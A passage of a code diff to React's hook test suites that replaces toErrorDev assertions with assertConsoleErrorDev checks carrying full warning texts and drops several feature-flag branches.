-    }).toErrorDev('Context can only be read while React is rendering');
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+    ]);
     expect(firstRead).toBe('light');
     expect(secondRead).toBe('light');
   });
@@ -1056,11 +1067,16 @@ describe('ReactHooks', () => {
       return null;
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
-    }).toErrorDev(['Context can only be read while React is rendering']);
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+    ]);
   });
 
   // Edge case.
@@ -1086,19 +1102,25 @@ describe('ReactHooks', () => {
       }
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(
-          <>
-            <Fn />
-            <Cls />
-          </>,
-          {unstable_isConcurrent: true},
-        );
-      });
-    }).toErrorDev([
-      'Context can only be read while React is rendering',
-      'Cannot update a component (`Fn`) while rendering a different component (`Cls`).',
+    await act(() => {
+      ReactTestRenderer.create(
+        <>
+          <Fn />
+          <Cls />
+        </>,
+        {unstable_isConcurrent: true},
+      );
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in Cls (at **)',
+      'Cannot update a component (`Fn`) while rendering a different component (`Cls`). ' +
+        'To locate the bad setState() call inside `Cls`, ' +
+        'follow the stack trace as described in https://react.dev/link/setstate-in-render\n' +
+        '    in Cls (at **)',
     ]);
   });
 
@@ -1118,24 +1140,32 @@ describe('ReactHooks', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-        });
-      }).rejects.toThrow(
-        'Update hook called on initial render. This is likely a bug in React. Please file an issue.',
-      );
-    }).toErrorDev([
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
+      await act(() => {
+        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+      });
+    }).rejects.toThrow(
+      'Update hook called on initial render. This is likely a bug in React. Please file an issue.',
+    );
+    assertConsoleErrorDev([
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
       'React has detected a change in the order of Hooks called by App. ' +
         'This will lead to bugs and errors if not fixed. For more information, ' +
-        'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+        'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+        '\n' +
         '   Previous render            Next render\n' +
         '   ------------------------------------------------------\n' +
         '1. useReducer                 useReducer\n' +
         '2. useState                   useRef\n' +
-        '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
+        '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+        '\n' +
+        '    in App (at **)',
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
     ]);
   });
 
@@ -1148,13 +1178,15 @@ describe('ReactHooks', () => {
       });
       return null;
     }
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
-    }).toErrorDev(
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks.',
-    );
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
+    ]);
   });
 
   it('resets warning internal state when interrupted by an error', async () => {
@@ -1185,21 +1217,33 @@ describe('ReactHooks', () => {
       }
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(
-          <Boundary>
-            <App />
-          </Boundary>,
-          {unstable_isConcurrent: true},
-        );
-      });
-    }).toErrorDev([
-      'Context can only be read while React is rendering',
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
-
-      'Context can only be read while React is rendering',
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
+    await act(() => {
+      ReactTestRenderer.create(
+        <Boundary>
+          <App />
+        </Boundary>,
+        {unstable_isConcurrent: true},
+      );
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
     ]);
 
     function Valid() {
@@ -1226,27 +1270,37 @@ describe('ReactHooks', () => {
     });
 
     // Verify warnings don't get permanently disabled.
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(
-          <Boundary>
-            <App />
-          </Boundary>,
-          {unstable_isConcurrent: true},
-        );
-      });
-    }).toErrorDev([
-      'Context can only be read while React is rendering',
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
-
-      'Context can only be read while React is rendering',
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks',
+    await act(() => {
+      ReactTestRenderer.create(
+        <Boundary>
+          <App />
+        </Boundary>,
+        {unstable_isConcurrent: true},
+      );
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
     ]);
   });
 
   it('double-invokes components with Hooks in Strict Mode', async () => {
-    ReactFeatureFlags.debugRenderPhaseSideEffectsForStrictMode = true;
-
     const {useState, StrictMode} = React;
     let renderCount = 0;
 
@@ -1464,7 +1518,6 @@ describe('ReactHooks', () => {
   });
 
   it('double-invokes useMemo in DEV StrictMode despite []', async () => {
-    ReactFeatureFlags.debugRenderPhaseSideEffectsForStrictMode = true;
     const {useMemo, StrictMode} = React;
 
     let useMemoCount = 0;
@@ -1530,17 +1583,15 @@ describe('ReactHooks', () => {
       useStateHelper,
     ];
 
-    if (__EXPERIMENTAL__) {
-      const useTransitionHelper = () => React.useTransition();
-      const useDeferredValueHelper = () =>
-        React.useDeferredValue(0, {timeoutMs: 1000});
+    const useTransitionHelper = () => React.useTransition();
+    const useDeferredValueHelper = () =>
+      React.useDeferredValue(0, {timeoutMs: 1000});
 
-      orderedHooks.push(useTransitionHelper);
-      orderedHooks.push(useDeferredValueHelper);
+    orderedHooks.push(useTransitionHelper);
+    orderedHooks.push(useDeferredValueHelper);
 
-      hooksInList.push(useTransitionHelper);
-      hooksInList.push(useDeferredValueHelper);
-    }
+    hooksInList.push(useTransitionHelper);
+    hooksInList.push(useDeferredValueHelper);
 
     const formatHookNamesToMatchErrorMessage = (hookNameA, hookNameB) => {
       return `use${hookNameA}${' '.repeat(24 - hookNameA.length)}${
@@ -1563,7 +1614,6 @@ describe('ReactHooks', () => {
 
       it(`warns on using differently ordered hooks (${hookNameA}, ${hookNameB}) on subsequent renders`, async () => {
         function App(props) {
-          /* eslint-disable no-unused-vars */
           if (props.update) {
             secondHelper();
             firstHelper();
@@ -1574,7 +1624,6 @@ describe('ReactHooks', () => {
           // This should not appear in the warning message because it occurs after the first mismatch
           useRefHelper();
           return null;
-          /* eslint-enable no-unused-vars */
         }
         let root;
         await act(() => {
@@ -1582,24 +1631,26 @@ describe('ReactHooks', () => {
             unstable_isConcurrent: true,
           });
         });
-        await expect(async () => {
-          try {
-            await act(() => {
-              root.update(<App update={true} />);
-            });
-          } catch (error) {
-            // Swapping certain types of hooks will cause runtime errors.
-            // This is okay as far as this test is concerned.
-            // We just want to verify that warnings are always logged.
-          }
-        }).toErrorDev([
+        try {
+          await act(() => {
+            root.update(<App update={true} />);
+          });
+        } catch (error) {
+          // Swapping certain types of hooks will cause runtime errors.
+          // This is okay as far as this test is concerned.
+          // We just want to verify that warnings are always logged.
+        }
+        assertConsoleErrorDev([
           'React has detected a change in the order of Hooks called by App. ' +
             'This will lead to bugs and errors if not fixed. For more information, ' +
-            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+            '\n' +
             '   Previous render            Next render\n' +
             '   ------------------------------------------------------\n' +
             `1. ${formatHookNamesToMatchErrorMessage(hookNameA, hookNameB)}\n` +
-            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+            '\n' +
+            '    in App (at **)',
         ]);
 
         // further warnings for this component are silenced
@@ -1616,7 +1667,6 @@ describe('ReactHooks', () => {
 
       it(`warns when more hooks (${hookNameA}, ${hookNameB}) are used during update than mount`, async () => {
         function App(props) {
-          /* eslint-disable no-unused-vars */
           if (props.update) {
             firstHelper();
             secondHelper();
@@ -1624,7 +1674,6 @@ describe('ReactHooks', () => {
             firstHelper();
           }
           return null;
-          /* eslint-enable no-unused-vars */
         }
         let root;
         await act(() => {
@@ -1633,25 +1682,27 @@ describe('ReactHooks', () => {
           });
         });
 
-        await expect(async () => {
-          try {
-            await act(() => {
-              root.update(<App update={true} />);
-            });
-          } catch (error) {
-            // Swapping certain types of hooks will cause runtime errors.
-            // This is okay as far as this test is concerned.
-            // We just want to verify that warnings are always logged.
-          }
-        }).toErrorDev([
+        try {
+          await act(() => {
+            root.update(<App update={true} />);
+          });
+        } catch (error) {
+          // Swapping certain types of hooks will cause runtime errors.
+          // This is okay as far as this test is concerned.
+          // We just want to verify that warnings are always logged.
+        }
+        assertConsoleErrorDev([
           'React has detected a change in the order of Hooks called by App. ' +
             'This will lead to bugs and errors if not fixed. For more information, ' +
-            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+            '\n' +
             '   Previous render            Next render\n' +
             '   ------------------------------------------------------\n' +
             `1. ${formatHookNamesToMatchErrorMessage(hookNameA, hookNameA)}\n` +
             `2. undefined                  use${hookNameB}\n` +
-            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+            '\n' +
+            '    in App (at **)',
         ]);
       });
     });
@@ -1671,7 +1722,6 @@ describe('ReactHooks', () => {
 
       it(`warns when fewer hooks (${hookNameA}, ${hookNameB}) are used during update than mount`, async () => {
         function App(props) {
-          /* eslint-disable no-unused-vars */
           if (props.update) {
             firstHelper();
           } else {
@@ -1679,7 +1729,6 @@ describe('ReactHooks', () => {
             secondHelper();
           }
           return null;
-          /* eslint-enable no-unused-vars */
         }
         let root;
         await act(() => {
@@ -1701,7 +1750,6 @@ describe('ReactHooks', () => {
         '(useImperativeHandleHelper, useMemoHelper) on subsequent renders',
       async () => {
         function App(props) {
-          /* eslint-disable no-unused-vars */
           if (props.update) {
             useMemoHelper();
             useImperativeHandleHelper();
@@ -1712,7 +1760,6 @@ describe('ReactHooks', () => {
           // This should not appear in the warning message because it occurs after the first mismatch
           useRefHelper();
           return null;
-          /* eslint-enable no-unused-vars */
         }
         let root;
         await act(() => {
@@ -1720,24 +1767,26 @@ describe('ReactHooks', () => {
             unstable_isConcurrent: true,
           });
         });
-        await expect(async () => {
-          await act(() => {
-            root.update(<App update={true} />);
-          }).catch(e => {});
-          // Swapping certain types of hooks will cause runtime errors.
-          // This is okay as far as this test is concerned.
-          // We just want to verify that warnings are always logged.
-        }).toErrorDev([
+        await act(() => {
+          root.update(<App update={true} />);
+        }).catch(e => {});
+        // Swapping certain types of hooks will cause runtime errors.
+        // This is okay as far as this test is concerned.
+        // We just want to verify that warnings are always logged.
+        assertConsoleErrorDev([
           'React has detected a change in the order of Hooks called by App. ' +
             'This will lead to bugs and errors if not fixed. For more information, ' +
-            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+            '\n' +
             '   Previous render            Next render\n' +
             '   ------------------------------------------------------\n' +
             `1. ${formatHookNamesToMatchErrorMessage(
               'ImperativeHandle',
               'Memo',
             )}\n` +
-            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+            '\n' +
+            '    in App (at **)',
         ]);
 
         // further warnings for this component are silenced
@@ -1753,7 +1802,6 @@ describe('ReactHooks', () => {
         useState(0);
       }
       function App(props) {
-        /* eslint-disable no-unused-vars */
         if (props.update) {
           useCustomHook();
           useReducer((s, a) => a, 0);
@@ -1763,7 +1811,6 @@ describe('ReactHooks', () => {
           useCustomHook();
         }
         return null;
-        /* eslint-enable no-unused-vars */
       }
       let root;
       await act(() => {
@@ -1772,19 +1819,21 @@ describe('ReactHooks', () => {
         });
       });
       await expect(async () => {
-        await expect(async () => {
-          await act(() => {
-            root.update(<App update={true} />);
-          });
-        }).rejects.toThrow('custom error');
-      }).toErrorDev([
+        await act(() => {
+          root.update(<App update={true} />);
+        });
+      }).rejects.toThrow('custom error');
+      assertConsoleErrorDev([
         'React has detected a change in the order of Hooks called by App. ' +
           'This will lead to bugs and errors if not fixed. For more information, ' +
-          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+          '\n' +
           '   Previous render            Next render\n' +
           '   ------------------------------------------------------\n' +
           '1. useReducer                 useState\n' +
-          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+          '\n' +
+          '    in App (at **)',
       ]);
     });
   });
@@ -1819,8 +1868,10 @@ describe('ReactHooks', () => {
       });
     }).rejects.toThrow('Hello');
     assertConsoleErrorDev([
-      'Cannot update a component (`A`) while rendering ' +
-        'a different component (`B`).',
+      'Cannot update a component (`A`) while rendering a different component (`B`). ' +
+        'To locate the bad setState() call inside `B`, ' +
+        'follow the stack trace as described in https://react.dev/link/setstate-in-render\n' +
+        '    in B (at **)',
     ]);
   });
 
@@ -1879,13 +1930,15 @@ describe('ReactHooks', () => {
   it('does not fire a false positive warning when suspending memo', async () => {
     const {Suspense, useState} = React;
 
-    let wasSuspended = false;
+    let isSuspended = true;
     let resolve;
     function trySuspend() {
-      if (!wasSuspended) {
-        throw new Promise(r => {
-          wasSuspended = true;
-          resolve = r;
+      if (isSuspended) {
+        throw new Promise(res => {
+          resolve = () => {
+            isSuspended = false;
+            res();
+          };
         });
       }
     }
@@ -1915,13 +1968,15 @@ describe('ReactHooks', () => {
   it('does not fire a false positive warning when suspending forwardRef', async () => {
     const {Suspense, useState} = React;
 
-    let wasSuspended = false;
+    let isSuspended = true;
     let resolve;
     function trySuspend() {
-      if (!wasSuspended) {
-        throw new Promise(r => {
-          wasSuspended = true;
-          resolve = r;
+      if (isSuspended) {
+        throw new Promise(res => {
+          resolve = () => {
+            isSuspended = false;
+            res();
+          };
         });
       }
     }
@@ -1951,13 +2006,15 @@ describe('ReactHooks', () => {
   it('does not fire a false positive warning when suspending memo(forwardRef)', async () => {
     const {Suspense, useState} = React;
 
-    let wasSuspended = false;
+    let isSuspended = true;
     let resolve;
     function trySuspend() {
-      if (!wasSuspended) {
-        throw new Promise(r => {
-          wasSuspended = true;
-          resolve = r;
+      if (isSuspended) {
+        throw new Promise(res => {
+          resolve = () => {
+            isSuspended = false;
+            res();
+          };
         });
       }
     }
diff --git a/packages/react-reconciler/src/__tests__/ReactHooksWithNoopRenderer-test.js b/packages/react-reconciler/src/__tests__/ReactHooksWithNoopRenderer-test.js
index 04437d704797..c45db0096517 100644
--- a/packages/react-reconciler/src/__tests__/ReactHooksWithNoopRenderer-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactHooksWithNoopRenderer-test.js
@@ -19,6 +19,7 @@ let resolveText;
 let ReactNoop;
 let Scheduler;
 let Suspense;
+let Activity;
 let useState;
 let useReducer;
 let useEffect;
@@ -40,6 +41,7 @@ let waitFor;
 let waitForThrow;
 let waitForPaint;
 let assertLog;
+let assertConsoleErrorDev;
 
 describe('ReactHooksWithNoopRenderer', () => {
   beforeEach(() => {
@@ -50,6 +52,8 @@ describe('ReactHooksWithNoopRenderer', () => {
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     useState = React.useState;
     useReducer = React.useReducer;
     useEffect = React.useEffect;
@@ -64,6 +68,7 @@ describe('ReactHooksWithNoopRenderer', () => {
     useTransition = React.useTransition;
     useDeferredValue = React.useDeferredValue;
     Suspense = React.Suspense;
+    Activity = React.Activity;
     ContinuousEventPriority =
       require('react-reconciler/constants').ContinuousEventPriority;
     if (gate(flags => flags.enableSuspenseList)) {
@@ -228,19 +233,17 @@ describe('ReactHooksWithNoopRenderer', () => {
   });
 
   it('throws when called outside the render phase', async () => {
-    expect(() => {
-      expect(() => useState(0)).toThrow(
-        "Cannot read property 'useState' of null",
-      );
-    }).toErrorDev(
+    expect(() => useState(0)).toThrow(
+      "Cannot read property 'useState' of null",
+    );
+    assertConsoleErrorDev([
       'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +
         ' one of the following reasons:\n' +
         '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' +
         '2. You might be breaking the Rules of Hooks\n' +
         '3. You might have more than one copy of React in the same app\n' +
         'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   describe('useState', () => {
@@ -455,11 +458,12 @@ describe('ReactHooksWithNoopRenderer', () => {
           <Bar triggerUpdate={true} />
         </>,
       );
-      await expect(
-        async () => await waitForAll(['Foo [0]', 'Bar', 'Foo [1]']),
-      ).toErrorDev([
-        'Cannot update a component (`Foo`) while rendering a ' +
-          'different component (`Bar`). To locate the bad setState() call inside `Bar`',
+      await waitForAll(['Foo [0]', 'Bar', 'Foo [1]']);
+      assertConsoleErrorDev([
+        'Cannot update a component (`Foo`) while rendering a different component (`Bar`). ' +
+          'To locate the bad setState() call inside `Bar`, ' +
+          'follow the stack trace as described in https://react.dev/link/setstate-in-render\n' +
+          '    in Bar (at **)',
       ]);
 
       // It should not warn again (deduplication).
@@ -899,15 +903,8 @@ describe('ReactHooksWithNoopRenderer', () => {
       ReactNoop.flushSync(() => {
         counter.current.dispatch(INCREMENT);
       });
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        assertLog(['Count: 4']);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 4" />);
-      } else {
-        assertLog(['Count: 1']);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 1" />);
-        await waitForAll(['Count: 4']);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 4" />);
-      }
+      assertLog(['Count: 4']);
+      expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 4" />);
     });
   });
 
@@ -1547,39 +1544,21 @@ describe('ReactHooksWithNoopRenderer', () => {
         expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: (empty)" />);
 
         // Rendering again should flush the previous commit's effects
-        if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
+        React.startTransition(() => {
           ReactNoop.render(<Counter count={1} />, () =>
             Scheduler.log('Sync effect'),
           );
-        } else {
-          React.startTransition(() => {
-            ReactNoop.render(<Counter count={1} />, () =>
-              Scheduler.log('Sync effect'),
-            );
-          });
-        }
+        });
 
         await waitFor(['Schedule update [0]', 'Count: 0']);
 
-        if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-          expect(ReactNoop).toMatchRenderedOutput(
-            <span prop="Count: (empty)" />,
-          );
-          await waitFor(['Sync effect']);
-          expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 0" />);
-
-          ReactNoop.flushPassiveEffects();
-          assertLog(['Schedule update [1]']);
-          await waitForAll(['Count: 1']);
-        } else {
-          expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 0" />);
-          await waitFor([
-            'Count: 0',
-            'Sync effect',
-            'Schedule update [1]',
-            'Count: 1',
-          ]);
-        }
+        expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 0" />);
+        await waitFor([
+          'Count: 0',
+          'Sync effect',
+          'Schedule update [1]',
+          'Count: 1',
+        ]);
 
         expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 1" />);
       });
@@ -1613,11 +1592,7 @@ describe('ReactHooksWithNoopRenderer', () => {
       // As a result we, somewhat surprisingly, commit them in the opposite order.
       // This should be fine because any non-discrete set of work doesn't guarantee order
       // and easily could've happened slightly later too.
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        assertLog(['Will set count to 1', 'Count: 1']);
-      } else {
-        assertLog(['Will set count to 1', 'Count: 2', 'Count: 1']);
-      }
+      assertLog(['Will set count to 1', 'Count: 1']);
 
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 1" />);
     });
@@ -1670,6 +1645,12 @@ describe('ReactHooksWithNoopRenderer', () => {
             updateCount(props.count);
           });
           assertLog([`Schedule update [${props.count}]`]);
+          assertConsoleErrorDev([
+            'flushSync was called from inside a lifecycle method. ' +
+              'React cannot flush when React is already rendering. ' +
+              'Consider moving this call to a scheduler task or micro task.\n' +
+              '    in Counter (at **)',
+          ]);
           // This shouldn't flush synchronously.
           expect(ReactNoop).not.toMatchRenderedOutput(
             <span prop={`Count: ${props.count}`} />,
@@ -1677,17 +1658,14 @@ describe('ReactHooksWithNoopRenderer', () => {
         }, [props.count]);
         return <Text text={'Count: ' + count} />;
       }
-      await expect(async () => {
-        await act(async () => {
-          ReactNoop.render(<Counter count={0} />, () =>
-            Scheduler.log('Sync effect'),
-          );
-          await waitFor(['Count: (empty)', 'Sync effect']);
-          expect(ReactNoop).toMatchRenderedOutput(
-            <span prop="Count: (empty)" />,
-          );
-        });
-      }).toErrorDev('flushSync was called from inside a lifecycle method');
+      await act(async () => {
+        ReactNoop.render(<Counter count={0} />, () =>
+          Scheduler.log('Sync effect'),
+        );
+        await waitFor(['Count: (empty)', 'Sync effect']);
+        expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: (empty)" />);
+      });
+
       assertLog([`Count: 0`]);
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Count: 0" />);
     });
@@ -2531,35 +2509,47 @@ describe('ReactHooksWithNoopRenderer', () => {
       }
 
       const root1 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root1.render(<App return={17} />);
-        });
-      }).toErrorDev([
-        'useEffect must not return anything besides a ' +
-          'function, which is used for clean-up. You returned: 17',
+      await act(() => {
+        root1.render(<App return={17} />);
+      });
+      assertConsoleErrorDev([
+        'useEffect must not return anything besides a function, ' +
+          'which is used for clean-up. You returned: 17\n' +
+          '    in App (at **)',
       ]);
 
       const root2 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root2.render(<App return={null} />);
-        });
-      }).toErrorDev([
-        'useEffect must not return anything besides a ' +
-          'function, which is used for clean-up. You returned null. If your ' +
-          'effect does not require clean up, return undefined (or nothing).',
+      await act(() => {
+        root2.render(<App return={null} />);
+      });
+      assertConsoleErrorDev([
+        'useEffect must not return anything besides a function, ' +
+          'which is used for clean-up. You returned null. ' +
+          'If your effect does not require clean up, return undefined (or nothing).\n' +
+          '    in App (at **)',
       ]);
 
       const root3 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root3.render(<App return={Promise.resolve()} />);
-        });
-      }).toErrorDev([
-        'useEffect must not return anything besides a ' +
-          'function, which is used for clean-up.\n\n' +
-          'It looks like you wrote useEffect(async () => ...) or returned a Promise.',
+      await act(() => {
+        root3.render(<App return={Promise.resolve()} />);
+      });
+      assertConsoleErrorDev([
+        'useEffect must not return anything besides a function, which is used for clean-up.\n' +
+          '\n' +
+          'It looks like you wrote useEffect(async () => ...) or returned a Promise. ' +
+          'Instead, write the async function inside your effect and call it immediately:\n' +
+          '\n' +
+          'useEffect(() => {\n' +
+          '  async function fetchData() {\n' +
+          '    // You can await here\n' +
+          '    const response = await MyAPI.getData(someId);\n' +
+          '    // ...\n' +
+          '  }\n' +
+          '  fetchData();\n' +
+          "}, [someId]); // Or [] if effect doesn't need props or state\n" +
+          '\n' +
+          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\n' +
+          '    in App (at **)',
       ]);
 
       // Error on unmount because React assumes the value is a function
@@ -2720,13 +2710,23 @@ describe('ReactHooksWithNoopRenderer', () => {
         React.startTransition(() => {
           ReactNoop.render(<Counter count={1} />);
         });
-        await waitForPaint([
-          'Create passive [current: 0]',
-          'Destroy insertion [current: 0]',
-          'Create insertion [current: 0]',
-          'Destroy layout [current: 1]',
-          'Create layout [current: 1]',
-        ]);
+        if (gate(flags => flags.enableYieldingBeforePassive)) {
+          await waitForPaint(['Create passive [current: 0]']);
+          await waitForPaint([
+            'Destroy insertion [current: 0]',
+            'Create insertion [current: 0]',
+            'Destroy layout [current: 1]',
+            'Create layout [current: 1]',
+          ]);
+        } else {
+          await waitForPaint([
+            'Create passive [current: 0]',
+            'Destroy insertion [current: 0]',
+            'Create insertion [current: 0]',
+            'Destroy layout [current: 1]',
+            'Create layout [current: 1]',
+          ]);
+        }
         expect(committedText).toEqual('1');
       });
       assertLog([
@@ -2910,35 +2910,48 @@ describe('ReactHooksWithNoopRenderer', () => {
       }
 
       const root1 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root1.render(<App return={17} />);
-        });
-      }).toErrorDev([
-        'useInsertionEffect must not return anything besides a ' +
-          'function, which is used for clean-up. You returned: 17',
+      await act(() => {
+        root1.render(<App return={17} />);
+      });
+      assertConsoleErrorDev([
+        'useInsertionEffect must not return anything besides a function, ' +
+          'which is used for clean-up. You returned: 17\n' +
+          '    in App (at **)',
       ]);
 
       const root2 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root2.render(<App return={null} />);
-        });
-      }).toErrorDev([
-        'useInsertionEffect must not return anything besides a ' +
-          'function, which is used for clean-up. You returned null. If your ' +
-          'effect does not require clean up, return undefined (or nothing).',
+      await act(() => {
+        root2.render(<App return={null} />);
+      });
+      assertConsoleErrorDev([
+        'useInsertionEffect must not return anything besides a function, ' +
+          'which is used for clean-up. You returned null. ' +
+          'If your effect does not require clean up, return undefined (or nothing).\n' +
+          '    in App (at **)',
       ]);
 
       const root3 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root3.render(<App return={Promise.resolve()} />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root3.render(<App return={Promise.resolve()} />);
+      });
+      assertConsoleErrorDev([
         'useInsertionEffect must not return anything besides a ' +
-          'function, which is used for clean-up.\n\n' +
-          'It looks like you wrote useInsertionEffect(async () => ...) or returned a Promise.',
+          'function, which is used for clean-up.\n' +
+          '\n' +
